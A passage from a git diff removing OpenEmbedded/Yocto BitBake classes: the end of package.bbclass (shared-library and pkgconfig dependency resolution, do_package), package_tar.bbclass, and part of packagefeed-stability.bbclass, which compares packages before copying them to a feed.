- combos.append("-".join(options[0:i]))
- return combos
-
- if (file.endswith('.dylib') or file.endswith('.so')) and not pkg.endswith('-dev') and not pkg.endswith('-dbg') and not pkg.endswith('-src'):
- # Drop suffix
- name = os.path.basename(file).rsplit(".",1)[0]
- # Find all combinations
- combos = get_combinations(name)
- for combo in combos:
- if not combo in sonames:
- prov = (combo, ldir, pkgver)
- sonames.add(prov)
- if file.endswith('.dylib') or file.endswith('.so'):
- rpath = []
- p = subprocess.Popen([d.expand("${HOST_PREFIX}otool"), '-l', file], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- out, err = p.communicate()
- # If returned successfully, process stdout for results
- if p.returncode == 0:
- for l in out.split("\n"):
- l = l.strip()
- if l.startswith('path '):
- rpath.append(l.split()[1])
-
- p = subprocess.Popen([d.expand("${HOST_PREFIX}otool"), '-L', file], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- out, err = p.communicate()
- # If returned successfully, process stdout for results
- if p.returncode == 0:
- for l in out.split("\n"):
- l = l.strip()
- if not l or l.endswith(":"):
- continue
- if "is not an object file" in l:
- continue
- name = os.path.basename(l.split()[0]).rsplit(".", 1)[0]
- if name and name not in needed[pkg]:
- needed[pkg].add((name, file, tuple()))
-
- def mingw_dll(file, needed, sonames, renames, pkgver):
- if not os.path.exists(file):
- return
-
- if file.endswith(".dll"):
- # assume all dlls are shared objects provided by the package
- sonames.add((os.path.basename(file), os.path.dirname(file).replace(pkgdest + "/" + pkg, ''), pkgver))
-
- if (file.endswith(".dll") or file.endswith(".exe")):
- # use objdump to search for "DLL Name: .*\.dll"
- p = subprocess.Popen([d.expand("${HOST_PREFIX}objdump"), "-p", file], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- out, err = p.communicate()
- # process the output, grabbing all .dll names
- if p.returncode == 0:
- for m in re.finditer(r"DLL Name: (.*?\.dll)$", out.decode(), re.MULTILINE | re.IGNORECASE):
- dllname = m.group(1)
- if dllname:
- needed[pkg].add((dllname, file, tuple()))
-
- if d.getVar('PACKAGE_SNAP_LIB_SYMLINKS') == "1":
- snap_symlinks = True
- else:
- snap_symlinks = False
-
- needed = {}
-
- shlib_provider = oe.package.read_shlib_providers(d)
-
- for pkg in shlib_pkgs:
- private_libs = d.getVar('PRIVATE_LIBS_' + pkg) or d.getVar('PRIVATE_LIBS') or ""
- private_libs = private_libs.split()
- needs_ldconfig = False
- bb.debug(2, "calculating shlib provides for %s" % pkg)
-
- pkgver = d.getVar('PKGV_' + pkg)
- if not pkgver:
- pkgver = d.getVar('PV_' + pkg)
- if not pkgver:
- pkgver = ver
-
- needed[pkg] = set()
- sonames = set()
- renames = []
- linuxlist = []
- for file in pkgfiles[pkg]:
- soname = None
- if cpath.islink(file):
- continue
- if hostos == "darwin" or hostos == "darwin8":
- darwin_so(file, needed, sonames, renames, pkgver)
- elif hostos.startswith("mingw"):
- mingw_dll(file, needed, sonames, renames, pkgver)
- elif os.access(file, os.X_OK) or lib_re.match(file):
- linuxlist.append(file)
-
- if linuxlist:
- results = oe.utils.multiprocess_launch(linux_so, linuxlist, d, extraargs=(pkg, pkgver, d))
- for r in results:
- ldconfig = r[0]
- needed[pkg] |= r[1]
- sonames |= r[2]
- renames.extend(r[3])
- needs_ldconfig = needs_ldconfig or ldconfig
-
- for (old, new) in renames:
- bb.note("Renaming %s to %s" % (old, new))
- os.rename(old, new)
- pkgfiles[pkg].remove(old)
-
- shlibs_file = os.path.join(shlibswork_dir, pkg + ".list")
- if len(sonames):
- with open(shlibs_file, 'w') as fd:
- for s in sonames:
- if s[0] in shlib_provider and s[1] in shlib_provider[s[0]]:
- (old_pkg, old_pkgver) = shlib_provider[s[0]][s[1]]
- if old_pkg != pkg:
- bb.warn('%s-%s was registered as shlib provider for %s, changing it to %s-%s because it was built later' % (old_pkg, old_pkgver, s[0], pkg, pkgver))
- bb.debug(1, 'registering %s-%s as shlib provider for %s' % (pkg, pkgver, s[0]))
- fd.write(s[0] + ':' + s[1] + ':' + s[2] + '\n')
- if s[0] not in shlib_provider:
- shlib_provider[s[0]] = {}
- shlib_provider[s[0]][s[1]] = (pkg, pkgver)
- if needs_ldconfig:
- bb.debug(1, 'adding ldconfig call to postinst for %s' % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- if not postinst:
- postinst = '#!/bin/sh\n'
- postinst += d.getVar('ldconfig_postinst_fragment')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- bb.debug(1, 'LIBNAMES: pkg %s sonames %s' % (pkg, sonames))
-
- assumed_libs = d.getVar('ASSUME_SHLIBS')
- if assumed_libs:
- libdir = d.getVar("libdir")
- for e in assumed_libs.split():
- l, dep_pkg = e.split(":")
- lib_ver = None
- dep_pkg = dep_pkg.rsplit("_", 1)
- if len(dep_pkg) == 2:
- lib_ver = dep_pkg[1]
- dep_pkg = dep_pkg[0]
- if l not in shlib_provider:
- shlib_provider[l] = {}
- shlib_provider[l][libdir] = (dep_pkg, lib_ver)
-
- libsearchpath = [d.getVar('libdir'), d.getVar('base_libdir')]
-
- for pkg in shlib_pkgs:
- bb.debug(2, "calculating shlib requirements for %s" % pkg)
-
- private_libs = d.getVar('PRIVATE_LIBS_' + pkg) or d.getVar('PRIVATE_LIBS') or ""
- private_libs = private_libs.split()
-
- deps = list()
- for n in needed[pkg]:
- # if n is in private libraries, don't try to search provider for it
- # this could cause problem in case some abc.bb provides private
- # /opt/abc/lib/libfoo.so.1 and contains /usr/bin/abc depending on system library libfoo.so.1
- # but skipping it is still better alternative than providing own
- # version and then adding runtime dependency for the same system library
- import fnmatch
- if private_libs and len([i for i in private_libs if fnmatch.fnmatch(n[0], i)]) > 0:
- bb.debug(2, '%s: Dependency %s covered by PRIVATE_LIBS' % (pkg, n[0]))
- continue
- if n[0] in shlib_provider.keys():
- shlib_provider_map = shlib_provider[n[0]]
- matches = set()
- for p in itertools.chain(list(n[2]), sorted(shlib_provider_map.keys()), libsearchpath):
- if p in shlib_provider_map:
- matches.add(p)
- if len(matches) > 1:
- matchpkgs = ', '.join([shlib_provider_map[match][0] for match in matches])
- bb.error("%s: Multiple shlib providers for %s: %s (used by files: %s)" % (pkg, n[0], matchpkgs, n[1]))
- elif len(matches) == 1:
- (dep_pkg, ver_needed) = shlib_provider_map[matches.pop()]
-
- bb.debug(2, '%s: Dependency %s requires package %s (used by files: %s)' % (pkg, n[0], dep_pkg, n[1]))
-
- if dep_pkg == pkg:
- continue
-
- if ver_needed:
- dep = "%s (>= %s)" % (dep_pkg, ver_needed)
- else:
- dep = dep_pkg
- if not dep in deps:
- deps.append(dep)
- continue
- bb.note("Couldn't find shared library provider for %s, used by files: %s" % (n[0], n[1]))
-
- deps_file = os.path.join(pkgdest, pkg + ".shlibdeps")
- if os.path.exists(deps_file):
- os.remove(deps_file)
- if deps:
- with open(deps_file, 'w') as fd:
- for dep in sorted(deps):
- fd.write(dep + '\n')
-}
-
-python package_do_pkgconfig () {
- import re
-
- packages = d.getVar('PACKAGES')
- workdir = d.getVar('WORKDIR')
- pkgdest = d.getVar('PKGDEST')
-
- shlibs_dirs = d.getVar('SHLIBSDIRS').split()
- shlibswork_dir = d.getVar('SHLIBSWORKDIR')
-
- pc_re = re.compile(r'(.*)\.pc$')
- var_re = re.compile(r'(.*)=(.*)')
- field_re = re.compile(r'(.*): (.*)')
-
- pkgconfig_provided = {}
- pkgconfig_needed = {}
- for pkg in packages.split():
- pkgconfig_provided[pkg] = []
- pkgconfig_needed[pkg] = []
- for file in pkgfiles[pkg]:
- m = pc_re.match(file)
- if m:
- pd = bb.data.init()
- name = m.group(1)
- pkgconfig_provided[pkg].append(name)
- if not os.access(file, os.R_OK):
- continue
- with open(file, 'r') as f:
- lines = f.readlines()
- for l in lines:
- m = var_re.match(l)
- if m:
- name = m.group(1)
- val = m.group(2)
- pd.setVar(name, pd.expand(val))
- continue
- m = field_re.match(l)
- if m:
- hdr = m.group(1)
- exp = pd.expand(m.group(2))
- if hdr == 'Requires':
- pkgconfig_needed[pkg] += exp.replace(',', ' ').split()
-
- for pkg in packages.split():
- pkgs_file = os.path.join(shlibswork_dir, pkg + ".pclist")
- if pkgconfig_provided[pkg] != []:
- with open(pkgs_file, 'w') as f:
- for p in pkgconfig_provided[pkg]:
- f.write('%s\n' % p)
-
- # Go from least to most specific since the last one found wins
- for dir in reversed(shlibs_dirs):
- if not os.path.exists(dir):
- continue
- for file in sorted(os.listdir(dir)):
- m = re.match(r'^(.*)\.pclist$', file)
- if m:
- pkg = m.group(1)
- with open(os.path.join(dir, file)) as fd:
- lines = fd.readlines()
- pkgconfig_provided[pkg] = []
- for l in lines:
- pkgconfig_provided[pkg].append(l.rstrip())
-
- for pkg in packages.split():
- deps = []
- for n in pkgconfig_needed[pkg]:
- found = False
- for k in pkgconfig_provided.keys():
- if n in pkgconfig_provided[k]:
- if k != pkg and not (k in deps):
- deps.append(k)
- found = True
- if found == False:
- bb.note("couldn't find pkgconfig module '%s' in any package" % n)
- deps_file = os.path.join(pkgdest, pkg + ".pcdeps")
- if len(deps):
- with open(deps_file, 'w') as fd:
- for dep in deps:
- fd.write(dep + '\n')
-}
-
-def read_libdep_files(d):
- pkglibdeps = {}
- packages = d.getVar('PACKAGES').split()
- for pkg in packages:
- pkglibdeps[pkg] = {}
- for extension in ".shlibdeps", ".pcdeps", ".clilibdeps":
- depsfile = d.expand("${PKGDEST}/" + pkg + extension)
- if os.access(depsfile, os.R_OK):
- with open(depsfile) as fd:
- lines = fd.readlines()
- for l in lines:
- l.rstrip()
- deps = bb.utils.explode_dep_versions2(l)
- for dep in deps:
- if not dep in pkglibdeps[pkg]:
- pkglibdeps[pkg][dep] = deps[dep]
- return pkglibdeps
-
-python read_shlibdeps () {
- pkglibdeps = read_libdep_files(d)
-
- packages = d.getVar('PACKAGES').split()
- for pkg in packages:
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
- for dep in sorted(pkglibdeps[pkg]):
- # Add the dep if it's not already there, or if no comparison is set
- if dep not in rdepends:
- rdepends[dep] = []
- for v in pkglibdeps[pkg][dep]:
- if v not in rdepends[dep]:
- rdepends[dep].append(v)
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
-}
-
-python package_depchains() {
- """
- For a given set of prefix and postfix modifiers, make those packages
- RRECOMMENDS on the corresponding packages for its RDEPENDS.
-
- Example: If package A depends upon package B, and A's .bb emits an
- A-dev package, this would make A-dev Recommends: B-dev.
-
- If only one of a given suffix is specified, it will take the RRECOMMENDS
- based on the RDEPENDS of *all* other packages. If more than one of a given
- suffix is specified, its will only use the RDEPENDS of the single parent
- package.
- """
-
- packages = d.getVar('PACKAGES')
- postfixes = (d.getVar('DEPCHAIN_POST') or '').split()
- prefixes = (d.getVar('DEPCHAIN_PRE') or '').split()
-
- def pkg_adddeprrecs(pkg, base, suffix, getname, depends, d):
-
- #bb.note('depends for %s is %s' % (base, depends))
- rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS_' + pkg) or "")
-
- for depend in sorted(depends):
- if depend.find('-native') != -1 or depend.find('-cross') != -1 or depend.startswith('virtual/'):
- #bb.note("Skipping %s" % depend)
- continue
- if depend.endswith('-dev'):
- depend = depend[:-4]
- if depend.endswith('-dbg'):
- depend = depend[:-4]
- pkgname = getname(depend, suffix)
- #bb.note("Adding %s for %s" % (pkgname, depend))
- if pkgname not in rreclist and pkgname != pkg:
- rreclist[pkgname] = []
-
- #bb.note('setting: RRECOMMENDS_%s=%s' % (pkg, ' '.join(rreclist)))
- d.setVar('RRECOMMENDS_%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
-
- def pkg_addrrecs(pkg, base, suffix, getname, rdepends, d):
-
- #bb.note('rdepends for %s is %s' % (base, rdepends))
- rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS_' + pkg) or "")
-
- for depend in sorted(rdepends):
- if depend.find('virtual-locale-') != -1:
- #bb.note("Skipping %s" % depend)
- continue
- if depend.endswith('-dev'):
- depend = depend[:-4]
- if depend.endswith('-dbg'):
- depend = depend[:-4]
- pkgname = getname(depend, suffix)
- #bb.note("Adding %s for %s" % (pkgname, depend))
- if pkgname not in rreclist and pkgname != pkg:
- rreclist[pkgname] = []
-
- #bb.note('setting: RRECOMMENDS_%s=%s' % (pkg, ' '.join(rreclist)))
- d.setVar('RRECOMMENDS_%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
-
- def add_dep(list, dep):
- if dep not in list:
- list.append(dep)
-
- depends = []
- for dep in bb.utils.explode_deps(d.getVar('DEPENDS') or ""):
- add_dep(depends, dep)
-
- rdepends = []
- for pkg in packages.split():
- for dep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + pkg) or ""):
- add_dep(rdepends, dep)
-
- #bb.note('rdepends is %s' % rdepends)
-
- def post_getname(name, suffix):
- return '%s%s' % (name, suffix)
- def pre_getname(name, suffix):
- return '%s%s' % (suffix, name)
-
- pkgs = {}
- for pkg in packages.split():
- for postfix in postfixes:
- if pkg.endswith(postfix):
- if not postfix in pkgs:
- pkgs[postfix] = {}
- pkgs[postfix][pkg] = (pkg[:-len(postfix)], post_getname)
-
- for prefix in prefixes:
- if pkg.startswith(prefix):
- if not prefix in pkgs:
- pkgs[prefix] = {}
- pkgs[prefix][pkg] = (pkg[:-len(prefix)], pre_getname)
-
- if "-dbg" in pkgs:
- pkglibdeps = read_libdep_files(d)
- pkglibdeplist = []
- for pkg in pkglibdeps:
- for k in pkglibdeps[pkg]:
- add_dep(pkglibdeplist, k)
- dbgdefaultdeps = ((d.getVar('DEPCHAIN_DBGDEFAULTDEPS') == '1') or (bb.data.inherits_class('packagegroup', d)))
-
- for suffix in pkgs:
- for pkg in pkgs[suffix]:
- if d.getVarFlag('RRECOMMENDS_' + pkg, 'nodeprrecs'):
- continue
- (base, func) = pkgs[suffix][pkg]
- if suffix == "-dev":
- pkg_adddeprrecs(pkg, base, suffix, func, depends, d)
- elif suffix == "-dbg":
- if not dbgdefaultdeps:
- pkg_addrrecs(pkg, base, suffix, func, pkglibdeplist, d)
- continue
- if len(pkgs[suffix]) == 1:
- pkg_addrrecs(pkg, base, suffix, func, rdepends, d)
- else:
- rdeps = []
- for dep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + base) or ""):
- add_dep(rdeps, dep)
- pkg_addrrecs(pkg, base, suffix, func, rdeps, d)
-}
-
-# Since bitbake can't determine which variables are accessed during package
-# iteration, we need to list them here:
-PACKAGEVARS = "FILES RDEPENDS RRECOMMENDS SUMMARY DESCRIPTION RSUGGESTS RPROVIDES RCONFLICTS PKG ALLOW_EMPTY pkg_postinst pkg_postrm pkg_postinst_ontarget INITSCRIPT_NAME INITSCRIPT_PARAMS DEBIAN_NOAUTONAME ALTERNATIVE PKGE PKGV PKGR USERADD_PARAM GROUPADD_PARAM CONFFILES SYSTEMD_SERVICE LICENSE SECTION pkg_preinst pkg_prerm RREPLACES GROUPMEMS_PARAM SYSTEMD_AUTO_ENABLE SKIP_FILEDEPS PRIVATE_LIBS PACKAGE_ADD_METADATA"
-
-def gen_packagevar(d, pkgvars="PACKAGEVARS"):
- ret = []
- pkgs = (d.getVar("PACKAGES") or "").split()
- vars = (d.getVar(pkgvars) or "").split()
- for v in vars:
- ret.append(v)
- for p in pkgs:
- for v in vars:
- ret.append(v + "_" + p)
-
- # Ensure that changes to INCOMPATIBLE_LICENSE re-run do_package for
- # affected recipes.
- ret.append('LICENSE_EXCLUSION-%s' % p)
- return " ".join(ret)
-
-PACKAGE_PREPROCESS_FUNCS ?= ""
-# Functions for setting up PKGD
-PACKAGEBUILDPKGD ?= " \
- package_prepare_pkgdata \
- perform_packagecopy \
- ${PACKAGE_PREPROCESS_FUNCS} \
- split_and_strip_files \
- fixup_perms \
- "
-# Functions which split PKGD up into separate packages
-PACKAGESPLITFUNCS ?= " \
- package_do_split_locales \
- populate_packages"
-# Functions which process metadata based on split packages
-PACKAGEFUNCS += " \
- package_fixsymlinks \
- package_name_hook \
- package_do_filedeps \
- package_do_shlibs \
- package_do_pkgconfig \
- read_shlibdeps \
- package_depchains \
- emit_pkgdata"
-
-python do_package () {
- # Change the following version to cause sstate to invalidate the package
- # cache. This is useful if an item this class depends on changes in a
- # way that the output of this class changes. rpmdeps is a good example
- # as any change to rpmdeps requires this to be rerun.
- # PACKAGE_BBCLASS_VERSION = "2"
-
- # Init cachedpath
- global cpath
- cpath = oe.cachedpath.CachedPath()
-
- ###########################################################################
- # Sanity test the setup
- ###########################################################################
-
- packages = (d.getVar('PACKAGES') or "").split()
- if len(packages) < 1:
- bb.debug(1, "No packages to build, skipping do_package")
- return
-
- workdir = d.getVar('WORKDIR')
- outdir = d.getVar('DEPLOY_DIR')
- dest = d.getVar('D')
- dvar = d.getVar('PKGD')
- pn = d.getVar('PN')
-
- if not workdir or not outdir or not dest or not dvar or not pn:
- msg = "WORKDIR, DEPLOY_DIR, D, PN and PKGD all must be defined, unable to package"
- package_qa_handle_error("var-undefined", msg, d)
- return
-
- bb.build.exec_func("package_get_auto_pr", d)
-
- ###########################################################################
- # Optimisations
- ###########################################################################
-
- # Continually expanding complex expressions is inefficient, particularly
- # when we write to the datastore and invalidate the expansion cache. This
- # code pre-expands some frequently used variables
-
- def expandVar(x, d):
- d.setVar(x, d.getVar(x))
-
- for x in 'PN', 'PV', 'BPN', 'TARGET_SYS', 'EXTENDPRAUTO':
- expandVar(x, d)
-
- ###########################################################################
- # Setup PKGD (from D)
- ###########################################################################
-
- for f in (d.getVar('PACKAGEBUILDPKGD') or '').split():
- bb.build.exec_func(f, d)
-
- ###########################################################################
- # Split up PKGD into PKGDEST
- ###########################################################################
-
- cpath = oe.cachedpath.CachedPath()
-
- for f in (d.getVar('PACKAGESPLITFUNCS') or '').split():
- bb.build.exec_func(f, d)
-
- ###########################################################################
- # Process PKGDEST
- ###########################################################################
-
- # Build global list of files in each split package
- global pkgfiles
- pkgfiles = {}
- packages = d.getVar('PACKAGES').split()
- pkgdest = d.getVar('PKGDEST')
- for pkg in packages:
- pkgfiles[pkg] = []
- for walkroot, dirs, files in cpath.walk(pkgdest + "/" + pkg):
- for file in files:
- pkgfiles[pkg].append(walkroot + os.sep + file)
-
- for f in (d.getVar('PACKAGEFUNCS') or '').split():
- bb.build.exec_func(f, d)
-
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
-}
-
-do_package[dirs] = "${SHLIBSWORKDIR} ${PKGDESTWORK} ${D}"
-do_package[vardeps] += "${PACKAGEBUILDPKGD} ${PACKAGESPLITFUNCS} ${PACKAGEFUNCS} ${@gen_packagevar(d)}"
-addtask package after do_install
-
-SSTATETASKS += "do_package"
-do_package[cleandirs] = "${PKGDEST} ${PKGDESTWORK}"
-do_package[sstate-plaindirs] = "${PKGD} ${PKGDEST} ${PKGDESTWORK}"
-do_package_setscene[dirs] = "${STAGING_DIR}"
-
-python do_package_setscene () {
- sstate_setscene(d)
-}
-addtask do_package_setscene
-
-# Copy from PKGDESTWORK to tempdirectory as tempdirectory can be cleaned at both
-# do_package_setscene and do_packagedata_setscene leading to races
-python do_packagedata () {
- src = d.expand("${PKGDESTWORK}")
- dest = d.expand("${WORKDIR}/pkgdata-pdata-input")
- oe.path.copyhardlinktree(src, dest)
-}
-
-addtask packagedata before do_build after do_package
-
-SSTATETASKS += "do_packagedata"
-do_packagedata[sstate-inputdirs] = "${WORKDIR}/pkgdata-pdata-input"
-do_packagedata[sstate-outputdirs] = "${PKGDATA_DIR}"
-do_packagedata[stamp-extra-info] = "${MACHINE_ARCH}"
-
-python do_packagedata_setscene () {
- sstate_setscene(d)
-}
-addtask do_packagedata_setscene
-
-#
-# Helper functions for the package writing classes
-#
-
-def mapping_rename_hook(d):
- """
- Rewrite variables to account for package renaming in things
- like debian.bbclass or manual PKG variable name changes
- """
- pkg = d.getVar("PKG")
- runtime_mapping_rename("RDEPENDS", pkg, d)
- runtime_mapping_rename("RRECOMMENDS", pkg, d)
- runtime_mapping_rename("RSUGGESTS", pkg, d)
diff --git a/meta/classes/package_tar.bbclass b/meta/classes/package_tar.bbclass
deleted file mode 100644
index ce3ab4c8e2..0000000000
--- a/meta/classes/package_tar.bbclass
+++ /dev/null
@@ -1,73 +0,0 @@
-inherit package
-
-IMAGE_PKGTYPE ?= "tar"
-
-python do_package_tar () {
- import subprocess
-
- oldcwd = os.getcwd()
-
- workdir = d.getVar('WORKDIR')
- if not workdir:
- bb.error("WORKDIR not defined, unable to package")
- return
-
- outdir = d.getVar('DEPLOY_DIR_TAR')
- if not outdir:
- bb.error("DEPLOY_DIR_TAR not defined, unable to package")
- return
-
- dvar = d.getVar('D')
- if not dvar:
- bb.error("D not defined, unable to package")
- return
-
- packages = d.getVar('PACKAGES')
- if not packages:
- bb.debug(1, "PACKAGES not defined, nothing to package")
- return
-
- pkgdest = d.getVar('PKGDEST')
-
- bb.utils.mkdirhier(outdir)
- bb.utils.mkdirhier(dvar)
-
- for pkg in packages.split():
- localdata = bb.data.createCopy(d)
- root = "%s/%s" % (pkgdest, pkg)
-
- overrides = localdata.getVar('OVERRIDES', False)
- localdata.setVar('OVERRIDES', '%s:%s' % (overrides, pkg))
-
- bb.utils.mkdirhier(root)
- basedir = os.path.dirname(root)
- tarfn = localdata.expand("${DEPLOY_DIR_TAR}/${PKG}-${PKGV}-${PKGR}.tar.gz")
- os.chdir(root)
- dlist = os.listdir(root)
- if not dlist:
- bb.note("Not creating empty archive for %s-%s-%s" % (pkg, localdata.getVar('PKGV'), localdata.getVar('PKGR')))
- continue
- args = "tar -cz --exclude=CONTROL --exclude=DEBIAN -f".split()
- ret = subprocess.call(args + [tarfn] + dlist)
- if ret != 0:
- bb.error("Creation of tar %s failed." % tarfn)
-
- os.chdir(oldcwd)
-}
-
-python () {
- if d.getVar('PACKAGES') != '':
- deps = (d.getVarFlag('do_package_write_tar', 'depends') or "").split()
- deps.append('tar-native:do_populate_sysroot')
- deps.append('virtual/fakeroot-native:do_populate_sysroot')
- d.setVarFlag('do_package_write_tar', 'depends', " ".join(deps))
- d.setVarFlag('do_package_write_tar', 'fakeroot', "1")
-}
-
-
-python do_package_write_tar () {
- bb.build.exec_func("read_subpackage_metadata", d)
- bb.build.exec_func("do_package_tar", d)
-}
-do_package_write_tar[dirs] = "${D}"
-addtask package_write_tar before do_build after do_packagedata do_package
diff --git a/meta/classes/packagefeed-stability.bbclass b/meta/classes/packagefeed-stability.bbclass
deleted file mode 100644
index 5648602564..0000000000
--- a/meta/classes/packagefeed-stability.bbclass
+++ /dev/null
@@ -1,252 +0,0 @@
-# Class to avoid copying packages into the feed if they haven't materially changed
-#
-# Copyright (C) 2015 Intel Corporation
-# Released under the MIT license (see COPYING.MIT for details)
-#
-# This class effectively intercepts packages as they are written out by
-# do_package_write_*, causing them to be written into a different
-# directory where we can compare them to whatever older packages might
-# be in the "real" package feed directory, and avoid copying the new
-# package to the feed if it has not materially changed. The idea is to
-# avoid unnecessary churn in the packages when dependencies trigger task
-# reexecution (and thus repackaging). Enabling the class is simple:
-#
-# INHERIT += "packagefeed-stability"
-#
-# Caveats:
-# 1) Latest PR values in the build system may not match those in packages
-# seen on the target (naturally)
-# 2) If you rebuild from sstate without the existing package feed present,
-# you will lose the "state" of the package feed i.e. the preserved old
-# package versions. Not the end of the world, but would negate the
-# entire purpose of this class.
-#
-# Note that running -c cleanall on a recipe will purposely delete the old
-# package files so they will definitely be copied the next time.
-
-python() {
- if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d):
- return
- # Package backend agnostic intercept
- # This assumes that the package_write task is called package_write_<pkgtype>
- # and that the directory in which packages should be written is
- # pointed to by the variable DEPLOY_DIR_<PKGTYPE>
- for pkgclass in (d.getVar('PACKAGE_CLASSES') or '').split():
- if pkgclass.startswith('package_'):
- pkgtype = pkgclass.split('_', 1)[1]
- pkgwritefunc = 'do_package_write_%s' % pkgtype
- sstate_outputdirs = d.getVarFlag(pkgwritefunc, 'sstate-outputdirs', False)
- deploydirvar = 'DEPLOY_DIR_%s' % pkgtype.upper()
- deploydirvarref = '${' + deploydirvar + '}'
- pkgcomparefunc = 'do_package_compare_%s' % pkgtype
-
- if bb.data.inherits_class('image', d):
- d.appendVarFlag('do_rootfs', 'recrdeptask', ' ' + pkgcomparefunc)
-
- if bb.data.inherits_class('populate_sdk_base', d):
- d.appendVarFlag('do_populate_sdk', 'recrdeptask', ' ' + pkgcomparefunc)
-
- if bb.data.inherits_class('populate_sdk_ext', d):
- d.appendVarFlag('do_populate_sdk_ext', 'recrdeptask', ' ' + pkgcomparefunc)
-
- d.appendVarFlag('do_build', 'recrdeptask', ' ' + pkgcomparefunc)
-
- if d.getVarFlag(pkgwritefunc, 'noexec') or not d.getVarFlag(pkgwritefunc, 'task'):
- # Packaging is disabled for this recipe, we shouldn't do anything
- continue
-
- if deploydirvarref in sstate_outputdirs:
- deplor_dir_pkgtype = d.expand(deploydirvarref + '-prediff')
- # Set intermediate output directory
- d.setVarFlag(pkgwritefunc, 'sstate-outputdirs', sstate_outputdirs.replace(deploydirvarref, deplor_dir_pkgtype))
- # Update SSTATE_DUPWHITELIST to avoid shared location conflicted error
- d.appendVar('SSTATE_DUPWHITELIST', ' %s' % deplor_dir_pkgtype)
-
- d.setVar(pkgcomparefunc, d.getVar('do_package_compare', False))
- d.setVarFlags(pkgcomparefunc, d.getVarFlags('do_package_compare', False))
- d.appendVarFlag(pkgcomparefunc, 'depends', ' build-compare-native:do_populate_sysroot')
- bb.build.addtask(pkgcomparefunc, 'do_build', 'do_packagedata ' + pkgwritefunc, d)
-}
-
-# This isn't the real task function - it's a template that we use in the
-# anonymous python code above
-fakeroot python do_package_compare () {
- currenttask = d.getVar('BB_CURRENTTASK')
- pkgtype = currenttask.rsplit('_', 1)[1]
- package_compare_impl(pkgtype, d)
-}
-
-def package_compare_impl(pkgtype, d):
- import errno
- import fnmatch
- import glob
- import subprocess
- import oe.sstatesig
-
- pn = d.getVar('PN')
- deploydir = d.getVar('DEPLOY_DIR_%s' % pkgtype.upper())
- prepath = deploydir + '-prediff/'
-
- # Find out PKGR values are
- pkgdatadir = d.getVar('PKGDATA_DIR')
- packages = []
- try:
- with open(os.path.join(pkgdatadir, pn), 'r') as f:
- for line in f:
- if line.startswith('PACKAGES:'):
- packages = line.split(':', 1)[1].split()
- break
- except IOError as e:
- if e.errno == errno.ENOENT:
- pass
-
- if not packages:
- bb.debug(2, '%s: no packages, nothing to do' % pn)
- return
-
- pkgrvalues = {}
- rpkgnames = {}
- rdepends = {}
- pkgvvalues = {}
- for pkg in packages:
- with open(os.path.join(pkgdatadir, 'runtime', pkg), 'r') as f:
- for line in f:
- if line.startswith('PKGR:'):
- pkgrvalues[pkg] = line.split(':', 1)[1].strip()
- if line.startswith('PKGV:'):
- pkgvvalues[pkg] = line.split(':', 1)[1].strip()
- elif line.startswith('PKG_%s:' % pkg):
- rpkgnames[pkg] = line.split(':', 1)[1].strip()
- elif line.startswith('RDEPENDS_%s:' % pkg):
- rdepends[pkg] = line.split(':', 1)[1].strip()
-
- # Prepare a list of the runtime package names for packages that were
- # actually produced
- rpkglist = []
- for pkg, rpkg in rpkgnames.items():
- if os.path.exists(os.path.join(pkgdatadir, 'runtime', pkg + '.packaged')):
- rpkglist.append((rpkg, pkg))
- rpkglist.sort(key=lambda x: len(x[0]), reverse=True)
-
- pvu = d.getVar('PV', False)
- if '$' + '{SRCPV}' in pvu:
- pvprefix = pvu.split('$' + '{SRCPV}', 1)[0]
- else:
- pvprefix = None
-
- pkgwritetask = 'package_write_%s' % pkgtype
- files = []
- docopy = False
- manifest, _ = oe.sstatesig.sstate_get_manifest_filename(pkgwritetask, d)
- mlprefix = d.getVar('MLPREFIX')
- # Copy recipe's all packages if one of the packages are different to make
- # they have the same PR.
- with open(manifest, 'r') as f:
- for line in f:
- if line.startswith(prepath):
- srcpath = line.rstrip()
- if os.path.isfile(srcpath):
- destpath = os.path.join(deploydir, os.path.relpath(srcpath, prepath))
-
- # This is crude but should work assuming the output
- # package file name starts with the package name
- # and rpkglist is sorted by length (descending)
- pkgbasename = os.path.basename(destpath)
- pkgname = None
- for rpkg, pkg in rpkglist:
- if mlprefix and pkgtype == 'rpm' and rpkg.startswith(mlprefix):
- rpkg = rpkg[len(mlprefix):]
- if pkgbasename.startswith(rpkg):
- pkgr = pkgrvalues[pkg]
- destpathspec = destpath.replace(pkgr, '*')
- if pvprefix:
- pkgv = pkgvvalues[pkg]
- if pkgv.startswith(pvprefix):
- pkgvsuffix = pkgv[len(pvprefix):]
- if '+' in pkgvsuffix:
- newpkgv = pvprefix + '*+' + pkgvsuffix.split('+', 1)[1]
- destpathspec = destpathspec.replace(pkgv, newpkgv)
- pkgname = pkg
- break
- else:
- bb.warn('Unable to map %s back to package' % pkgbasename)
- destpathspec = destpath
-
- oldfile = None
- if not docopy:
- oldfiles = glob.glob(destpathspec)
- if oldfiles:
- oldfile = oldfiles[-1]
- result = subprocess.call(['pkg-diff.sh', oldfile, srcpath])
- if result != 0:
- docopy = True
- bb.note("%s and %s are different, will copy packages" % (oldfile, srcpath))
- else:
- docopy = True
- bb.note("No old packages found for %s, will copy packages" % pkgname)
-
- files.append((pkgname, pkgbasename, srcpath, destpath))
-
- # Remove all the old files and copy again if docopy
- if docopy:
- bb.note('Copying packages for recipe %s' % pn)
- pcmanifest = os.path.join(prepath, d.expand('pkg-compare-manifest-${MULTIMACH_TARGET_SYS}-${PN}'))
- try:
- with open(pcmanifest, 'r') as f:
- for line in f:
- fn = line.rstrip()
- if fn:
- try:
- os.remove(fn)
- bb.note('Removed old package %s' % fn)
